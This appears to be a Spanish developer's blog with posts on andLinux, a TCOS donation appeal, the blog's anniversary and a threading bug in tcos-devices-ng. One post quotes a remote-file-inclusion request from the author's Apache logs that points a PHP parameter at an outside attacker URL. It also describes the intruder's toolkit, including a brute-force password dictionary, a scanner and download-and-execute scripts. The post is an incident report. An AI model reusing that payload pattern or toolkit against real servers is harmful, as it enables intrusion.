MarioDebian, mi devlog

Bitácora de un desarrollador newbie.

Nos estamos volviendo majaretas

Después de ver como con Virtualbox y el modo seamless es posible ejecutar aplicaciones Windows en un entorno Linux, van y hacen lo contrario, un «calzador» (llamado CoLinux) con ayuda de Xming y PulseAudio, consiguen ejecutar aplicaciones Linux (KDE y Xfce) de manera seminativa en Windows incluso con soporte para portapapeles, audio, etc.... para remate hay syncptic por lo que se puedeinstalar lo que se quiera del repositorio de Ubuntu.

El invento se llama andLinux, visto vía digg.





Sistema de donaciones para TCOS

Copio y pego el correo que acabo de mandar a la lista tcos-usuarios:

Buenas a todos.

Como ya se anunció en Abril de 2.007 el proyecto TCOS iba a crecer y teníamos que mejorar muchas cosas.

La web, después de varios meses de uso ha sido todo un acierto tener un dominio propio y poder usar herramientas como un WIKI o TRAC para poder ir complementando el proyecto y el código.

El hosting corre a cargo de la universidad (de momento) ya que genera bastante tráfico para ser de pago y me permite compilar los paquetes de TCOS en la misma máquina. Al estar alojado en la universidad como proyecto de SL esta totalmente prohibido la publicidad (tipo AdSense).

Desde ya hace un tiempo TCOS ha absorbido parte de mi vida y dedico muchas más horas de las que pensaba, TCOS es algo más que un hobbie y estoy replanteándome convertirlo en mi trabajo diario.

Mi empresa ha ayudado mucho para desarrollar TCOS, de hecho ellos han financiado viajes, hardware y muchas horas de trabajo, y TCOS me ha permitido "escaquearme" de obligaciones que si dan dinero (cuando lean esto mis socios me van a dar un par de collejas).

Pero una empresa por muy mía que sea (somos 3 amigos/socios) necesita dinero para pagar las facturas todos los meses y convertir su proyecto en su modelo de negocio, de hecho, he recibido bastantes ofertas de trabajo que he rechazado por seguir desarrollando TCOS.

Llegados a este punto hay muchas opciones para elegir, me han propuesto cambios de licencia, licencias duales o servir una parte del proyecto bajo un sistema por llamarlo de alguna manera VIP, es decir, gente que contribuya (mediante código, donaciones o contratos de mantenimiento) podrá acceder a las partes más avanzadas....

Mi corazoncito de Linuxero me dice que no se pueden poner puertas al campo y menos cuando desarrollas algo GPL, pero corren rumores que medianas y grandes empresas (al menos 2) están revisando el código para venderlo luego ellos, algo totalmente legal, pero que nos deja a las personas que trabajamos aquí un poco con cara de tontos.

Ignacio, alguien que se pasa de vez en cuando por la lista ha invertido los últimos 6 meses en hacer que TCOS, y en concreto tcosmonitor y tcos-devices-ng sean una herramienta impresionantemente potente y muy completa. Los logs del canal irc son testigos. De hecho es la segunda persona que tiene acceso al SVN de TCOS y que puede hacer y deshacer sin pedirme permiso.

También quiero dar las gracias a gente que no va leer este correo en español y que mandaré a la lista tcos-users@ porque entre otras cosas tenemos parte del wiki traducido en Alemán)

Existen organizaciones que han ayudado al proyecto como la Comunidad de Madrid, contratándome para integrar TCOS en su MaX (y para más cosas), pero no es suficiente para que esto avance a mejor ritmo, así que antes de decidir nada que cambie mucho todo esto pregunto vuestra opinión.

De momento esta mañana he activado una cuenta en PayPal para hacer donaciones para TCOS ya que si el proyecto se usa y te ha ayudado a ganar algo de dinero, no estaría mal que recompenses a sus desarrolladores (no hay mínimo ni máximo, que cada uno done lo que quiera)

Conozco personas desarrollando proyectos de SL que viven exclusivamente de las donaciones, ese no es mi punto de vista todavía, pero si las donaciones sirven para que dedique más horas al proyecto y que me olvide de la parte VIP habrán hecho su trabajo. Aún así revisaremos este tema dentro de unos meses.

Un cordial saludo y espero vuestros comentarios y sugerencias

 

A todo esto.....

HOY este blog cumple 3 añitos...

[primer post]

Feliz San Valentín para el que tenga pareja/novia/mujer/arrimada/rollete/amigaconderechoa





A las barricadas, ¡nos intentan hackear!

No es ningún secreto, cada segundo se intentan hackear o infectar millones de ordenadores en todo el mundo, pero cuando te pasa a tí no sabes muy bien lo que hacer.

Resulta que revisando por encima los logs de apache de www.tcosproject.org me encuentro con algo como esto:

GET /index.php?abs_path=http://heidik.org/canar/cmdaff?  404

El error es porque index.php no existe, pero es muy curioso como se puede intentar entrar en un servidor ajeno descargado unas cuantas herramientas:

 

 

cmdaff es un script PHP que intenta descargar y ejecutar algo (no se muy bien que es $cfe)

x-force.zip contiene un directorio oculto .x-force con algunas cosas curiosas:

mario@thinkpad:/tmp/.x-force$ ls -lh
total 3,8M
-rw-rw-rw- 1 mario mario  228 may 18  2005 auto
-rw-rw-rw- 1 mario mario 3,8M oct 14 23:40 data.conf
-rw-rw-rw- 1 mario mario  16K oct 13  2005 find
-rw-rw-rw- 1 mario mario  786 mar 29  2007 xforce
mario@thinkpad:/tmp/.x-force$ file * auto: POSIX shell script text executable data.conf: ISO-8859 C program text, with CRLF line terminators find: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, dynamically linked (uses shared libs), not stripped xforce: Bourne-Again shell script text executable

data.conf es un diccionario con más de 250.000 parejas usuario:contraseña (se supone que para hacer ataques por fuerza bruta)

xforce es un script que primero lanza un escaneo (usando el binario find) y luego ataca pero no encuentro el binario atack por lo que no se muy bien como funciona, la web de este fulano está en portugues/brasileño pero hay algunos comentarios en español !!!.

find está compilado en una slakware con gcc 3.3.4 y mirando las cadenas con strings hay mezcla de inglés y algo que me suenta a francés o catalán:

[+] Find ip a terminat in %u de secunde. [Am gasit %d ip`uri]

Hay más scripts en perl, la mayoría boots o servidores IRC.

En fin no tengo más tiempo para cacharrear, aquí teneis las utilidades-varias del fulano para que os divirtais un poco.





Peligros en la programación con hilos

Hay un par de aplicaciones de TCOS (tcos-volume-manager y tcos-devices-ng) que vienen arrastrando un comportamiento un tanto aleatorio, a veces arrancan, a veces no, este tipo de bugs son los más dificiles de depurar porque no sabes muy bien por donde empezar...

La razón de ellos es siempre la misma "error: xauth access denied" por lo que hemos estado revisando como se producía el «login» usando la cookie de las X.

El método de autenticación es muy simple (basado en el que se usa con LTSPFS), se lee la cookie (xauth list) cuando arranca tcos-devices y se envía al terminal para ver si es válida y permite hacer una conexión a las X del terminal.

Este método funciona bien cuando no hay conexiones concurrentes pero ¿qué pasa cuando llegan dos peticiones a la vez?

Pues la segunda petición puede llegar cuando aún se está procesando la primera y tirar una de las dos dando acceso denegado cuando en realidad los datos son válidos.

¿Cómo hemos descubierto el problema?

Siempre había probado tcos-devices-ng con pendrive de una partición pero cuando el pendrive tiene 2 (o más), udev genera 3 eventos (suponiendo que el pincho sea /dev/sda):

* ACTION=add DEVNAME=/dev/sda  (este evento es la detección del dispositivo completo, sino tuviera particiones también lleva ID_FS_TYPE)
* ACTION=add DEVNAME=/dev/sda1 ID_FS_TYPE=vfat (primera partición)
* ACTION=add DEVNAME=/dev/sda2 ID_FS_TYPE=vfat (segunda partición)

tcos-devices-ng toma estos eventos y los procesa...

Para el primero se muestra una notificación con la marca y modelo del pendrive, para los eventos con FS_TYPE se genera un nuevo thread (el ACTION=add con ID_BUS=usb lo que hace es montar en remoto y esperar a otro evento ACTION=mount para montar en local)

Por cada petición y para que el terminal acepte las conexiones se manda la cookie de las X, si las dos acciones ACTION=add se producen casi a la vez (como así ocurría) se hacían peticiones concurrentes al método handle_xauth lo que provocaba que a veces sí, a veces no, se montasen las dos particiones.

Soluciones:

1.- Hacer una especie de semáforo «en ámbar» (no rojo) en GetDevicesInfo (el método python que habla con el terminal ligero) para que sólo se ejecute una a la vez, la forma de hacerlo es con una función wait y una variable lock que hace una espera entre 0 segundos y un máximo de 4.

2.- Modificar handle_xauth para que use un archivo temporal basado en mkstemp: ver

Espero de esta forma haber solucionado bastantes problemas aleatorios que ocurrían cuando se usaban estas aplicaciones y que las hacían un tanto defectuosas...